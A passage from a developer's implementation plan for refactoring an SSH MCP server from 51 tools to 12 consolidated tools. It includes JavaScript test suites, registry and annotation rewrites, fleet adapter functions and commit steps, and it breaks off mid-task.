dispatcher modules) are complete. Plan 5: new capabilities (`ssh_find` as the 13th tool, `ssh_run` `script`/`detach`/job actions). Plan 6: adoption (CLAUDE.md rule, Bash PreToolUse hook). Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` sections 3 and 9. + +### What this part deliberately defers + +- `ssh_find` — the 13th tool — is Plan 5. The 12-tool registry and schema here do **not** include it. +- `ssh_run` actions `script`, `detach`, `job-status`, `job-kill` — Plan 5 extends the `ssh_run` enum and dispatcher. The `ssh_run` schema here advertises only `exec`, `sudo`, `fleet`. +- The `raw` argument is in every tool's schema (the compressor work in Plan 3 already honors it end-to-end for exec output); no new `raw` plumbing is needed here. + +--- + +## File Structure + +- **Rewrite `src/tool-registry.js`** — `TOOL_GROUPS`, `TOOL_GROUP_DESCRIPTIONS`, `TOOL_GROUP_COUNTS` for the 12 v4 tools across 3 groups. All exported functions (`getAllTools`, `findToolGroup`, `getGroupTools`, `validateToolRegistry`, `getToolStats`, `verifyIntegrity`) keep their signatures — only the data changes, so `tool-config-manager.js` keeps working untouched. +- **Rewrite `src/tool-annotations.js`** — `TOOL_ANNOTATIONS` keyed by the 12 fat-tool names; `withAnnotations` is unchanged. +- **Create `src/fleet-adapters.js`** — seven async adapter functions (`fleetServers`, `fleetGroups`, `fleetAliases`, `fleetCommandHandled` is folded in, `fleetProfiles`, `fleetHooks`, `fleetHistory`, `fleetConnections`) holding the logic currently inline in `index.js` closures. Each takes `({ args, deps })` and returns an MCP response. +- **Rewrite the registration section of `src/index.js`** — delete all 51 `registerToolConditional(...)` blocks; add 12. Keep everything above the registration section (imports, connection pooling, `getConnection`, `registerToolConditional`, `getServerConfigByName`) and below it (`SIGINT`, `main`) unchanged. +- **Rewrite `tests/test-tool-registry.js`** — assertions for 12 tools / 3 groups. +- **Rewrite `tests/test-tool-annotations.js`** — assertions for the 12 fat-tool annotations. +- **Rewrite `tests/test-index-registration.js`** — registration-drift invariants against the 12-tool registry. +- **Modify `tests/test-tool-config-manager.js`** — the `minimal`-mode and count assertions that hard-code 51/group names. + +### v4 tool → group map + +Three groups, twelve tools. Groups exist only for `tool-config-manager.js` enable/disable; v4's premise is all-loaded, so the default config (`mode: all`) serves every tool. + +| Group | Tools | +|---|---| +| `core` | `ssh_run`, `ssh_file`, `ssh_logs` | +| `ops` | `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_docker` | +| `advanced` | `ssh_session`, `ssh_net`, `ssh_fleet`, `ssh_plan` | + +--- + +## Task 1: Rewrite `tool-registry.js` for the 12-tool surface + +Replace the 51-tool / 7-group data with the 12-tool / 3-group data. The exported helper functions are generic over `TOOL_GROUPS` and need no change. + +**Files:** +- Modify: `src/tool-registry.js` +- Test: `tests/test-tool-registry.js` + +- [ ] **Step 1: Rewrite the test suite (failing tests)** + +Replace the entire body of `tests/test-tool-registry.js` (everything after the imports block and the `test`/`assertEqual`/`assertTrue` helpers — i.e. from the `console.log('\n' + YELLOW + ...)` line to the end) with: + +```javascript +console.log('\n' + YELLOW + 'Running Tool Registry Tests...' + NC + '\n'); + +test('All 12 v4 tools are defined in groups', () => { + assertEqual(getAllTools().length, 12, 'Should have exactly 12 tools'); +}); + +test('No duplicate tools across groups', () => { + const all = getAllTools(); + assertEqual(new Set(all).size, 12, 'All 12 tools should be unique'); +}); + +test('Tool group counts match TOOL_GROUP_COUNTS', () => { + for (const [groupName, tools] of Object.entries(TOOL_GROUPS)) { + assertEqual(tools.length, TOOL_GROUP_COUNTS[groupName], `Group ${groupName} count mismatch`); + } +}); + +test('All groups have descriptions', () => { + for (const groupName of Object.keys(TOOL_GROUPS)) { + assertTrue(groupName in TOOL_GROUP_DESCRIPTIONS, `Group ${groupName} missing description`); + assertTrue(TOOL_GROUP_DESCRIPTIONS[groupName].length > 0, `Group ${groupName} has empty description`); + } +}); + +test('findToolGroup returns correct group', () => { + assertEqual(findToolGroup('ssh_run'), 'core', 'ssh_run should be in core group'); + assertEqual(findToolGroup('ssh_health'), 'ops', 'ssh_health should be in ops group'); + assertEqual(findToolGroup('ssh_plan'), 'advanced', 'ssh_plan should be in advanced group'); + assertEqual(findToolGroup('nonexistent_tool'), null, 'Should return null for unknown tool'); +}); + +test('getGroupTools returns correct tools', () => { + assertEqual(getGroupTools('core').length, 3, 'core group should have 3 tools'); + assertTrue(getGroupTools('core').includes('ssh_run'), 'core should include ssh_run'); + assertEqual(getGroupTools('ops').length, 5, 'ops group should have 5 tools'); +}); + +test('core group contains expected tools', () => { + const core = getGroupTools('core'); + for (const tool of ['ssh_run', 'ssh_file', 'ssh_logs']) { + assertTrue(core.includes(tool), `core should include ${tool}`); + } +}); + +test('verifyIntegrity returns valid', () => { + const integrity = verifyIntegrity(); + assertTrue(integrity.valid, 'Integrity check should pass'); + assertEqual(integrity.duplicates.length, 0, 'Should have no duplicates'); + assertEqual(integrity.issues.length, 0, 'Should have no issues'); +}); + +test('getToolStats returns correct statistics', () => { + const stats = getToolStats(); + assertEqual(stats.totalGroups, 3, 'Should have 3 groups'); + assertEqual(stats.totalTools, 12, 'Should have 12 total tools'); + assertEqual(stats.groups.length, 3, 'Should have 3 group entries'); +}); + +test('All tools follow ssh_* naming convention', () => { + for (const tool of getAllTools()) { + assertTrue(tool.startsWith('ssh_'), `Tool ${tool} should start with 'ssh_'`); + } +}); + +test('validateToolRegistry identifies correct tools', () => { + const validation = validateToolRegistry(getAllTools()); + assertTrue(validation.valid, 'Validation should pass for all tools'); + assertEqual(validation.missing.length, 0, 'Should have no missing tools'); + assertEqual(validation.unexpected.length, 0, 'Should have no unexpected tools'); + assertEqual(validation.total, 12, 'Should expect 12 tools'); + assertEqual(validation.registered, 12, 'Should register 12 tools'); +}); + +test('validateToolRegistry detects missing tools', () => { + const validation = validateToolRegistry(['ssh_run', 'ssh_file']); + assertTrue(!validation.valid, 'Validation should fail for partial list'); + assertEqual(validation.registered, 2, 'Should show 2 registered'); + assertTrue(validation.missing.length > 0, 'Should have missing tools'); +}); + +test('Group sizes match specifications', () => { + assertEqual(TOOL_GROUPS.core.length, 3, 'core should have 3 tools'); + assertEqual(TOOL_GROUPS.ops.length, 5, 'ops should have 5 tools'); + assertEqual(TOOL_GROUPS.advanced.length, 4, 'advanced should have 4 tools'); +}); + +console.log('\n' + '='.repeat(60)); +console.log(`${GREEN}Passed: ${passedTests}${NC}`); +console.log(`${RED}Failed: ${failedTests}${NC}`); +console.log('='.repeat(60) + '\n'); + +process.exit(failedTests > 0 ? 1 : 0); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-tool-registry.js` +Expected: FAIL — the suite expects 12 tools / 3 groups; `tool-registry.js` still has 51 / 7. Multiple `Failed:` lines. + +- [ ] **Step 3: Rewrite `tool-registry.js`** + +In `src/tool-registry.js`, replace the `TOOL_GROUPS`, `TOOL_GROUP_DESCRIPTIONS`, and `TOOL_GROUP_COUNTS` declarations (lines 8 through 117 in the current file — the three `export const` blocks and their leading doc comments) with: + +```javascript +/** + * Tool groups with their associated tools. + * Total: 12 v4 fat verb-tools across 3 groups. + */ +export const TOOL_GROUPS = { + // Core (3) -- run commands, move files, read logs + core: [ + 'ssh_run', + 'ssh_file', + 'ssh_logs', + ], + + // Ops (5) -- services, health, databases, backups, containers + ops: [ + 'ssh_service', + 'ssh_health', + 'ssh_db', + 'ssh_backup', + 'ssh_docker', + ], + + // Advanced (4) -- sessions, networking, fleet/config, multi-step plans + advanced: [ + 'ssh_session', + 'ssh_net', + 'ssh_fleet', + 'ssh_plan', + ], +}; + +/** + * Human-readable descriptions for each tool group. + */ +export const TOOL_GROUP_DESCRIPTIONS = { + core: 'Run remote commands, transfer/read/edit files, read logs', + ops: 'Service control, health checks, database ops, backups, Docker', + advanced: 'Persistent sessions, tunnels/port probes, fleet+config metadata, multi-step plans', +}; + +/** + * Tool count per group. + */ +export const TOOL_GROUP_COUNTS = { + core: 3, + ops: 5, + advanced: 4, +}; +``` + +Then update the two stale doc comments on the helper functions: change `getAllTools`'s `@returns` line from `Array of all tool names (51 across 7 groups)` to `Array of all tool names (12 across 3 groups)`. The function bodies of `getAllTools`, `findToolGroup`, `getGroupTools`, `validateToolRegistry`, `getToolStats`, `verifyIntegrity` are generic over `TOOL_GROUPS`/`TOOL_GROUP_COUNTS` and are left exactly as-is. + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-tool-registry.js` +Expected: PASS — `Passed: 13`, `Failed: 0`. + +- [ ] **Step 5: Commit** + +```bash +git add src/tool-registry.js tests/test-tool-registry.js +git commit -m "refactor: rewrite tool registry for 12-tool v4 surface" +``` + +--- + +## Task 2: Rewrite `tool-annotations.js` for the 12 fat tools + +One annotation entry per fat tool. A fat tool spans read-only and mutating actions, so `readOnlyHint`/`destructiveHint` are assigned by the tool's *worst-case* action: any tool that can mutate is `destructiveHint: true`; only the purely-inspecting tools are `readOnlyHint: true`. `withAnnotations` is unchanged. + +**Files:** +- Modify: `src/tool-annotations.js` +- Test: `tests/test-tool-annotations.js` + +- [ ] **Step 1: Rewrite the test suite (failing tests)** + +Replace the entire body of `tests/test-tool-annotations.js` after the imports block (from `const allRegistered = ...` to the end) with: + +```javascript +const allRegistered = Object.values(TOOL_GROUPS).flat(); + +await test('every registered tool has an annotations entry', () => { + const missing = allRegistered.filter(name => !TOOL_ANNOTATIONS[name]); + assert.strictEqual(missing.length, 0, + `tools registered but missing annotations: ${missing.join(', ')}`); +}); + +await test('every annotated tool is actually registered (no dangling entries)', () => { + const registered = new Set(allRegistered); + const dangling = Object.keys(TOOL_ANNOTATIONS).filter(name => !registered.has(name)); + assert.strictEqual(dangling.length, 0, + `annotations defined for unknown tools: ${dangling.join(', ')}`); +}); + +await test('exactly 12 tools are annotated', () => { + assert.strictEqual(Object.keys(TOOL_ANNOTATIONS).length, 12, + `expected 12 annotated tools, got ${Object.keys(TOOL_ANNOTATIONS).length}`); +}); + +await test('every annotated tool has a human title', () => { + const missing = Object.entries(TOOL_ANNOTATIONS) + .filter(([, v]) => !v.title || typeof v.title !== 'string') + .map(([k]) => k); + assert.strictEqual(missing.length, 0, `tools missing title: ${missing.join(', ')}`); +}); + +await test('readOnlyHint and destructiveHint are never both true (spec invariant)', () => { + const conflicts = Object.entries(TOOL_ANNOTATIONS) + .filter(([, v]) => v.annotations?.readOnlyHint && v.annotations?.destructiveHint) + .map(([k]) => k); + assert.strictEqual(conflicts.length, 0, + `readOnly + destructive both set on: ${conflicts.join(', ')}`); +}); + +await test('mutation-capable fat tools are marked destructiveHint', () => { + const expected = ['ssh_run', 'ssh_file', 'ssh_service', 'ssh_health', + 'ssh_db', 'ssh_backup', 'ssh_docker', 'ssh_session', 'ssh_net', 'ssh_plan']; + for (const name of expected) { + assert.strictEqual(TOOL_ANNOTATIONS[name]?.annotations?.destructiveHint, true, + `${name} should be destructiveHint:true`); + } +}); + +await test('purely-inspecting fat tools are marked readOnlyHint', () => { + for (const name of ['ssh_logs', 'ssh_fleet']) { + assert.strictEqual(TOOL_ANNOTATIONS[name]?.annotations?.readOnlyHint, true, + `${name} should be readOnlyHint:true`); + } +}); + +await test('every fat tool declares openWorldHint (acts on remote hosts)', () => { + const missing = Object.entries(TOOL_ANNOTATIONS) + .filter(([, v]) => v.annotations?.openWorldHint !== true) + .map(([k]) => k); + assert.strictEqual(missing.length, 0, + `tools missing openWorldHint: ${missing.join(', ')}`); +}); + +await test('withAnnotations() merges title + annotations into schema', () => { + const out = withAnnotations('ssh_run', { description: 'x', inputSchema: {} }); + assert.strictEqual(typeof out.title, 'string'); + assert(out.title.length > 0); + assert.strictEqual(out.annotations.destructiveHint, true); + assert.strictEqual(out.description, 'x'); +}); + +await test('withAnnotations() leaves unknown tools untouched', () => { + const base = { description: 'x', inputSchema: {} }; + assert.deepStrictEqual(withAnnotations('ssh_nonexistent_tool', base), base); +}); + +await test('withAnnotations() does not clobber a caller-provided title', () => { + const out = withAnnotations('ssh_run', { title: 'Custom', description: 'x', inputSchema: {} }); + assert.strictEqual(out.title, 'Custom'); +}); + +await test('withAnnotations() caller-provided annotations override map defaults', () => { + const out = withAnnotations('ssh_logs', { + description: 'x', inputSchema: {}, annotations: { readOnlyHint: false }, + }); + assert.strictEqual(out.annotations.readOnlyHint, false, 'caller override must beat map default'); + assert.strictEqual(out.annotations.openWorldHint, true, 'non-overridden defaults still apply'); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); process.exit(1); } +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-tool-annotations.js` +Expected: FAIL — `TOOL_ANNOTATIONS` still holds 51 old entries; `exactly 12 tools are annotated` and the dangling-entry check fail. + +- [ ] **Step 3: Rewrite `tool-annotations.js`** + +In `src/tool-annotations.js`, replace the entire `TOOL_ANNOTATIONS` object (the `export const TOOL_ANNOTATIONS = { ... };` block, lines 20 through 111 in the current file) with: + +```javascript +export const TOOL_ANNOTATIONS = { + ssh_run: { + title: 'Run Remote Command', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_file: { + title: 'Transfer / Read / Edit Files', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_logs: { + title: 'Read Remote Logs', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, + }, + ssh_service: { + title: 'Service Control', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_health: { + title: 'Health, Processes, Alerts', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_db: { + title: 'Database Operations', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_backup: { + title: 'Backup and Restore', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_docker: { + title: 'Docker Control', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_session: { + title: 'Persistent SSH Sessions', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_net: { + title: 'Tunnels and Port Probes', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_fleet: { + title: 'Fleet and Config Metadata', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, + }, + ssh_plan: { + title: 'Multi-Step Plan Executor', + annotations: { destructiveHint: true, openWorldHint: true }, + }, +}; +``` + +The leading module doc comment and the `withAnnotations` function below the object are left unchanged. + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-tool-annotations.js` +Expected: PASS — `12 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/tool-annotations.js tests/test-tool-annotations.js +git commit -m "refactor: rewrite tool annotations for 12 fat v4 tools" +``` + +--- + +## Task 3: Lift the inline `ssh_fleet` handler bodies into `fleet-adapters.js` + +Seven of `ssh_fleet`'s eight actions (`servers`, `groups`, `aliases`, `profiles`, `hooks`, `history`, `connections`) currently live as inline closures inside `index.js` `registerToolConditional` calls. The `ssh_fleet` dispatcher (Part 2) expects them as a `handlers` object. This task moves that logic into named functions in a new module so the dispatcher can be wired in Task 4 without `index.js` carrying 400 lines of closure. + +Each adapter takes `({ args, deps })` and returns an MCP `{ content, isError? }` response. `deps` carries the same callables `index.js` already has in scope: `loadServerConfig`, `resolveServerName`, group/alias/hook/profile functions, the `connections`/`connectionTimestamps`/`keepaliveIntervals` maps, `isConnectionValid`, `closeConnection`, `cleanupOldConnections`, `getConnection`, `logger`. Passing them in as `deps` keeps `fleet-adapters.js` free of `index.js` imports. + +**Files:** +- Create: `src/fleet-adapters.js` +- Test: `tests/test-fleet-adapters.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-fleet-adapters.js`: + +```javascript +#!/usr/bin/env node +/** + * Tests for src/fleet-adapters.js -- the ssh_fleet action bodies lifted out + * of index.js inline closures. Each adapter is exercised with injected deps. + * Run: node tests/test-fleet-adapters.js + */ +import assert from 'assert'; +import { + fleetServers, fleetGroups, fleetAliases, fleetProfiles, + fleetHooks, fleetHistory, fleetConnections, +} from '../src/fleet-adapters.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function isMcp(r) { + return r && Array.isArray(r.content) && r.content[0] && r.content[0].type === 'text'; +} + +console.log('[test] Testing fleet-adapters\n'); + +await test('fleetServers lists configured servers from deps.loadServerConfig', async () => { + const r = await fleetServers({ + args: {}, + deps: { loadServerConfig: () => ({ web1: { host: 'h1', user: 'u', port: '22' } }) }, + }); + assert(isMcp(r), 'returns MCP response'); + assert(r.content[0].text.includes('web1'), 'names the server'); +}); + +await test('fleetGroups op=list returns an MCP response', async () => { + const r = await fleetGroups({ + args: { op: 'list' }, + deps: { listGroups: () => [], createGroup: () => ({}), updateGroup: () => ({}), + deleteGroup: () => {}, addServersToGroup: () => ({}), removeServersFromGroup: () => ({}) }, + }); + assert(isMcp(r)); +}); + +await test('fleetGroups op=create without name -> isError', async () => { + const r = await fleetGroups({ + args: { op: 'create' }, + deps: { listGroups: () => [], createGroup: () => ({}), updateGroup: () => ({}), + deleteGroup: () => {}, addServersToGroup: () => ({}), removeServersFromGroup: () => ({}) }, + }); + assert.strictEqual(r.isError, true); +}); + +await test('fleetAliases op=list returns an MCP response', async () => { + const r = await fleetAliases({ + args: { op: 'list' }, + deps: { listAliases: () => [], addAlias: () => {}, removeAlias: () => {}, + loadServerConfig: () => ({}), resolveServerName: () => 'web1' }, + }); + assert(isMcp(r)); +}); + +await test('fleetProfiles op=list returns an MCP response', async () => { + const r = await fleetProfiles({ + args: { op: 'list' }, + deps: { listProfiles: () => [], setActiveProfile: () => true, + getActiveProfileName: () => 'default', loadProfile: () => ({}) }, + }); + assert(isMcp(r)); +}); + +await test('fleetHooks op=list returns an MCP response', async () => { + const r = await fleetHooks({ + args: { op: 'list' }, + deps: { listHooks: () => [], toggleHook: () => {} }, + }); + assert(isMcp(r)); +}); + +await test('fleetHistory returns an MCP response from deps.logger', async () => { + const r = await fleetHistory({ + args: { limit: 5 }, + deps: { logger: { getHistory: () => [] } }, + }); + assert(isMcp(r)); +}); + +await test('fleetConnections op=status returns an MCP response', async () => { + const r = await fleetConnections({ + args: { op: 'status' }, + deps: { + connections: new Map(), connectionTimestamps: new Map(), + keepaliveIntervals: new Map(), + isConnectionValid: async () => true, closeConnection: () => {}, + cleanupOldConnections: () => {}, getConnection: async () => ({}), + CONNECTION_TIMEOUT: 1800000, KEEPALIVE_INTERVAL: 300000, + }, + }); + assert(isMcp(r)); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-fleet-adapters.js` +Expected: FAIL — `Cannot find module '../src/fleet-adapters.js'`. + +- [ ] **Step 3: Write `fleet-adapters.js`** + +Create `src/fleet-adapters.js`. Each function lifts the body of the matching `index.js` inline closure verbatim, with two mechanical changes: the closed-over names become `deps.`, and the `op`/`limit`/etc. fields are read off `args`. The `groups` action maps the v4 `op` values (`list`/`add`/`remove`/`update`) onto `ssh_group_manage`'s original action enum (`list`/`create`/`update`/`delete`/`add-servers`/`remove-servers`) — `create` is the `op:'add'` case for a whole group, `add-servers` is `op:'update'` with members. + +```javascript +/** + * ssh_fleet action bodies. Lifted out of index.js inline closures so the + * ssh_fleet dispatcher can wire them as a handlers object. Each adapter takes + * { args, deps } and returns an MCP { content, isError? } response. deps + * carries the callables/maps that were closed over in index.js. + */ + +function mcp(text, isError = false) { + return { content: [{ type: 'text', text }], isError }; +} + +/** ssh_list_servers body. */ +export async function fleetServers({ deps }) { + const servers = deps.loadServerConfig(); + const info = Object.entries(servers).map(([name, c]) => ({ + name, host: c.host, user: c.user, port: c.port || '22', + auth: c.password ? 'password' : 'key', + defaultDir: c.default_dir || '', description: c.description || '', + })); + return mcp(JSON.stringify(info, null, 2)); +} + +/** ssh_group_manage body. v4 op -> original action enum. */ +export async function fleetGroups({ args, deps }) { + const { op, name, members, description } = args || {}; + try { + let result; + let output = ''; + switch (op) { + case 'add': + if (!name) throw new Error('group name required'); + result = deps.createGroup(name, members || [], { description }); + output = `[ok] Group '${name}' created\nServers: ${result.servers.join(', ') || 'none'}`; + break; + case 'update': + if (!name) throw new Error('group name required'); + if (members && members.length) { + result = deps.addServersToGroup(name, members); + output = `[ok] Group '${name}' members: ${result.servers.join(', ')}`; + } else { + result = deps.updateGroup(name, { description }); + output = `[ok] Group '${name}' updated`; + } + break; + case 'remove': + if (!name) throw new Error('group name required'); + if (members && members.length) { + result = deps.removeServersFromGroup(name, members); + output = `[ok] Group '${name}' members: ${result.servers.join(', ') || 'none'}`; + } else { + deps.deleteGroup(name); + output = `[ok] Group '${name}' deleted`; + } + break; + case 'list': + default: { + const groups = deps.listGroups(); + output = '[list] Server Groups\n' + groups.map(g => + ` ${g.name} (${g.serverCount} servers): ${g.servers.join(', ') || 'none'}`).join('\n'); + break; + } + } + return mcp(output); + } catch (e) { + return mcp(`[err] Group operation failed: ${e.message}`, true); + } +} + +/** ssh_alias body. */ +export async function fleetAliases({ args, deps }) { + const { op, name, target } = args || {}; + try { + switch (op) { + case 'add': { + if (!name || !target) throw new Error('alias name and target required'); + const servers = deps.loadServerConfig(); + const resolved = deps.resolveServerName(target, servers); + if (!resolved) throw new Error(`Server "${target}" not found`); + deps.addAlias(name, resolved); + return mcp(`[ok] Alias created: ${name} -> ${resolved}`); + } + case 'remove': + if (!name) throw new Error('alias name required'); + deps.removeAlias(name); + return mcp(`[ok] Alias removed: ${name}`); + case 'list': + default: { + const aliases = deps.listAliases(); + const servers = deps.loadServerConfig(); + const text = aliases.map(({ alias, target: t }) => + ` ${alias} -> ${t} (${servers[t]?.host || 'unknown'})`).join('\n'); + return mcp(aliases.length ? `[log] Server aliases:\n${text}` : '[log] No aliases configured'); + } + } + } catch (e) { + return mcp(`[err] Alias operation failed: ${e.message}`, true); + } +} + +/** ssh_profile body. */ +export async function fleetProfiles({ args, deps }) { + const { op, name } = args || {}; + try { + switch (op) { + case 'update': { + if (!name) throw new Error('profile name required'); + if (!deps.setActiveProfile(name)) throw new Error(`Failed to switch to profile: ${name}`); + return mcp(`[ok] Switched to profile: ${name}\n[warn] Restart Claude Code to apply`); + } + case 'list': + default: { + const profiles = deps.listProfiles(); + const current = deps.getActiveProfileName(); + const text = profiles.map(p => + ` ${p.name}: ${p.description} (${p.aliasCount} aliases, ${p.hookCount} hooks)`).join('\n'); + return mcp(profiles.length + ? `[docs] Profiles (current: ${current}):\n${text}` + : '[docs] No profiles found'); + } + } + } catch (e) { + return mcp(`[err] Profile operation failed: ${e.message}`, true); + } +} + +/** ssh_hooks body. */ +export async function fleetHooks({ args, deps }) { + const { op, name } = args || {}; + try { + switch (op) { + case 'add': + case 'update': + if (!name) throw new Error('hook name required'); + deps.toggleHook(name, true); + return mcp(`[ok] Hook enabled: ${name}`); + case 'remove': + if (!name) throw new Error('hook name required'); + deps.toggleHook(name, false); + return mcp(`[ok] Hook disabled: ${name}`); + case 'list': + default: { + const hooks = deps.listHooks(); + const text = hooks.map(({ name: n, enabled, description, actionCount }) => + ` ${enabled ? '[ok]' : '[err]'} ${n}: ${description} (${actionCount} actions)`).join('\n'); + return mcp(hooks.length ? `[hook] Hooks:\n${text}` : '[hook] No hooks configured'); + } + } + } catch (e) { + return mcp(`[err] Hook operation failed: ${e.message}`, true); + } +} + +/** ssh_history body. */ +export async function fleetHistory({ args, deps }) { + const { limit = 20, server, search } = args || {}; + try { + let history = deps.logger.getHistory(limit * 2); + if (server) history = history.filter(h => h.server?.toLowerCase().includes(server.toLowerCase())); + if (search) history = history.filter(h => h.command?.toLowerCase().includes(search.toLowerCase())); + history = history.slice(-limit); + if (history.length === 0) return mcp('[log] No commands found matching the criteria.'); + const text = history.map((e, i) => + `${history.length - i}. ${e.success ? '[ok]' : '[err]'} ${e.server || 'unknown'}: ` + + `${(e.command || 'N/A').substring(0, 100)}`).join('\n'); + return mcp(`[log] SSH Command History (last ${history.length})\n${text}`); + } catch (e) { + return mcp(`[err] Error retrieving history: ${e.message}`, true); + } +} + +/** ssh_connection_status body. */ +export async function fleetConnections({ args, deps }) { + const { op = 'status', server } = args || {}; + try { + switch (op) { + case 'reconnect': { + if (!server) throw new Error('server required for reconnect'); + const n = server.toLowerCase(); + if (deps.connections.has(n)) deps.closeConnection(n); + await deps.getConnection(server); + return mcp(`[recycle] Reconnected to ${server}`); + } + case 'disconnect': + if (!server) throw new Error('server required for disconnect'); + deps.closeConnection(server); + return mcp(`[conn] Disconnected from ${server}`); + case 'cleanup': { + const before = deps.connections.size; + deps.cleanupOldConnections(); + for (const [n, ssh] of deps.connections.entries()) { + if (!(await deps.isConnectionValid(ssh))) deps.closeConnection(n); + } + return mcp(`[clean] ${before - deps.connections.size} closed, ${deps.connections.size} active`); + } + case 'status': + default: { + const now = Date.now(); + const rows = []; + for (const [name, ssh] of deps.connections.entries()) { + const age = Math.floor((now - deps.connectionTimestamps.get(name)) / 60000); + const valid = await deps.isConnectionValid(ssh); + rows.push(` ${name}: ${valid ? '[ok] Active' : '[err] Dead'} (age ${age}m)`); + } + return mcp(`[conn] Connection Pool:\n${rows.join('\n') || ' No active connections'}`); + } + } + } catch (e) { + return mcp(`[err] Connection management failed: ${e.message}`, true); + } +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-fleet-adapters.js` +Expected: PASS — `8 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/fleet-adapters.js tests/test-fleet-adapters.js +git commit -m "refactor: lift inline ssh_fleet handler bodies into fleet-adapters module" +``` + +--- + +## Task 4: Cut `index.js` over to the 12 fat-tool registrations + +Delete the 51 `registerToolConditional(...)` blocks and add 12, each with a full zod `inputSchema` (the union of its actions' args, every action-scoped arg optional) and a dispatcher handler. This is the only task that changes `index.js`. + +**Files:** +- Modify: `src/index.js` +- Test: `tests/test-index-registration.js` + +- [ ] **Step 1: Rewrite the test suite (failing tests)** + +Replace the entire body of `tests/test-index-registration.js` after the `registeredNames` function definition (from the first `await test(...)` to the end) with: + +```javascript +await test('every TOOL_GROUPS entry is registered in index.js', () => { + const registered = registeredNames(indexSrc); + const missing = getAllTools().filter(name => !registered.has(name)); + assert.strictEqual(missing.length, 0, + `tools in TOOL_GROUPS but never registered: ${missing.join(', ')}`); +}); + +await test('every registerToolConditional() corresponds to a TOOL_GROUPS entry', () => { + const registered = registeredNames(indexSrc); + const known = new Set(getAllTools()); + const orphans = [...registered].filter(name => !known.has(name)); + assert.strictEqual(orphans.length, 0, + `tools registered in index.js but missing from TOOL_GROUPS: ${orphans.join(', ')}`); +}); + +await test('exactly 12 tools are registered', () => { + const registered = registeredNames(indexSrc); + assert.strictEqual(registered.size, 12, + `expected 12 registered tools, got ${registered.size}: ${[...registered].join(', ')}`); +}); + +await test('count of registered tools matches registry exactly', () => { + const registered = registeredNames(indexSrc); + assert.strictEqual(registered.size, getAllTools().length, + `registered=${registered.size} vs registry=${getAllTools().length}`); +}); + +await test('every registered tool has an annotations entry (drift check)', () => { + const registered = registeredNames(indexSrc); + const missing = [...registered].filter(name => !TOOL_ANNOTATIONS[name]); + assert.strictEqual(missing.length, 0, + `tools registered without annotations: ${missing.join(', ')}`); +}); + +await test('no legacy 51-surface tool name survives in a registration', () => { + const registered = registeredNames(indexSrc); + const legacy = ['ssh_execute', 'ssh_upload', 'ssh_cat', 'ssh_tail', + 'ssh_systemctl', 'ssh_tunnel_create', 'ssh_deploy_artifact']; + const survivors = legacy.filter(name => registered.has(name)); + assert.strictEqual(survivors.length, 0, + `legacy tool names still registered: ${survivors.join(', ')}`); +}); + +await test('TOOL_GROUPS has no duplicate names across groups', () => { + const all = getAllTools(); + assert.strictEqual(all.length, new Set(all).size, + `duplicates detected in TOOL_GROUPS`); +}); + +await test('every group declared in TOOL_GROUPS is non-empty', () => { + for (const [name, tools] of Object.entries(TOOL_GROUPS)) { + assert(Array.isArray(tools) && tools.length > 0, `group ${name} is empty`); + } +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); process.exit(1); } +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-index-registration.js` +Expected: FAIL — `index.js` still registers 51 tools; `exactly 12 tools are registered` and `no legacy 51-surface tool name survives` fail. + +- [ ] **Step 3: Add the dispatcher imports to `index.js`** + +In `src/index.js`, immediately after the existing tool-handler import block (the last such line is `import { handleSshPlan } from './tools/plan-tools.js';`), add: + +```javascript +// v4 dispatcher facade -- 12 fat verb-tools over the handlers above. +import { handleSshRun } from './dispatchers/ssh-run.js'; +import { handleSshFile } from './dispatchers/ssh-file.js'; +import { handleSshLogs } from './dispatchers/ssh-logs.js'; +import { handleSshService } from './dispatchers/ssh-service.js'; +import { handleSshHealth } from './dispatchers/ssh-health.js'; +import { handleSshDb } from './dispatchers/ssh-db.js'; +import { handleSshBackup } from './dispatchers/ssh-backup.js'; +import { handleSshSession } from './dispatchers/ssh-session.js'; +import { handleSshNet } from './dispatchers/ssh-net.js'; +import { handleSshDockerTool } from './dispatchers/ssh-docker.js'; +import { handleSshFleet } from './dispatchers/ssh-fleet.js'; +import { handleSshPlanTool } from './dispatchers/ssh-plan.js'; +import { + fleetServers, fleetGroups, fleetAliases, fleetProfiles, + fleetHooks, fleetHistory, fleetConnections, +} from './fleet-adapters.js'; +``` + +- [ ] **Step 4: Replace the registration section of `index.js`** + +Delete everything from the first `registerToolConditional(` call (currently the 